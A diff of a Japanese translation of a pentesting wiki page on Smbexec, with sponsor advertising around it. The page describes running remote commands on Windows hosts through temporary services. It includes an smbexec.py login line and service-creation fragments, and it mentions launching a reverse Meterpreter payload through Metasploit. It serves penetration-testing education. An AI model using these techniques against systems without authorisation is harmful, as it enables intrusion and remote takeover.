**重要なビジネスに影響を与える、悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## How it Works ## 仕組み
**Smbexec**は、Windowsシステムでのリモートコマンド実行に使用されるツールで、**Psexec**に似ていますが、ターゲットシステムに悪意のあるファイルを置くことを避けます。 **Smbexec**は、Windowsシステムでのリモートコマンド実行に使用されるツールで、**Psexec**に似ていますが、ターゲットシステムに悪意のあるファイルを置くことを避けます。
### Key Points about **SMBExec** ### **SMBExec**に関する重要なポイント
- ターゲットマシン上に一時的なサービス例えば、「BTOBTO」を作成してcmd.exe (%COMSPEC%)を介してコマンドを実行し、バイナリを落とさないように動作します。 - ターゲットマシン上に一時的なサービス例えば、「BTOBTO」を作成してcmd.exe%COMSPEC%を介してコマンドを実行し、バイナリを落とさないように動作します。
- ステルスなアプローチにもかかわらず、実行された各コマンドのイベントログを生成し、非対話型の「シェル」の形式を提供します。 - ステルスなアプローチにもかかわらず、実行された各コマンドのイベントログを生成し、非対話型の「シェル」の形式を提供します。
- **Smbexec**を使用して接続するためのコマンドは次のようになります: - **Smbexec**を使用して接続するためのコマンドは次のようになります:
```bash ```bash
@ -37,9 +37,9 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
``` ```
### バイナリなしでコマンドを実行する ### バイナリなしでコマンドを実行する
- **Smbexec** は、ターゲット上に物理的なバイナリが不要なサービス binPaths を通じて直接コマンドを実行することを可能にします。 - **Smbexec** は、ターゲット上に物理的なバイナリを必要とせず、サービスの binPaths を通じて直接コマンドを実行することを可能にします。
- この方法は、Windows ターゲット上で一時的なコマンドを実行するのに便利です。えば、Metasploit の `web_delivery` モジュールと組み合わせることで、PowerShell 対象のリバース Meterpreter ペイロードを実行できます。 - この方法は、Windows ターゲット上で一時的なコマンドを実行するのに便利です。たとえば、Metasploit の `web_delivery` モジュールと組み合わせることで、PowerShell 対象のリバース Meterpreter ペイロードを実行できます。
- cmd.exe を通じて提供されたコマンドを実行するように binPath を設定した攻撃者のマシン上にリモートサービスを作成することで、サービス応答エラーが発生しても、ペイロードを成功裏に実行し、Metasploit リスナーでコールバックとペイロードの実行を達成することが可能です。 - 攻撃者のマシン上にリモートサービスを作成し、binPath を cmd.exe を通じて提供されたコマンドを実行するように設定することで、ペイロードを成功裏に実行し、サービス応答エラーが発生しても Metasploit リスナーでコールバックとペイロードの実行を達成することが可能です。
### コマンドの例 ### コマンドの例
@ -50,14 +50,14 @@ sc start [ServiceName]
``` ```
FOr further details check [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) FOr further details check [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## 参考文献 ## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) * [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見てみましょう **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます **実際のビジネスに影響を与える重で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えるために、20以上のカスタムツールを使用してください
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}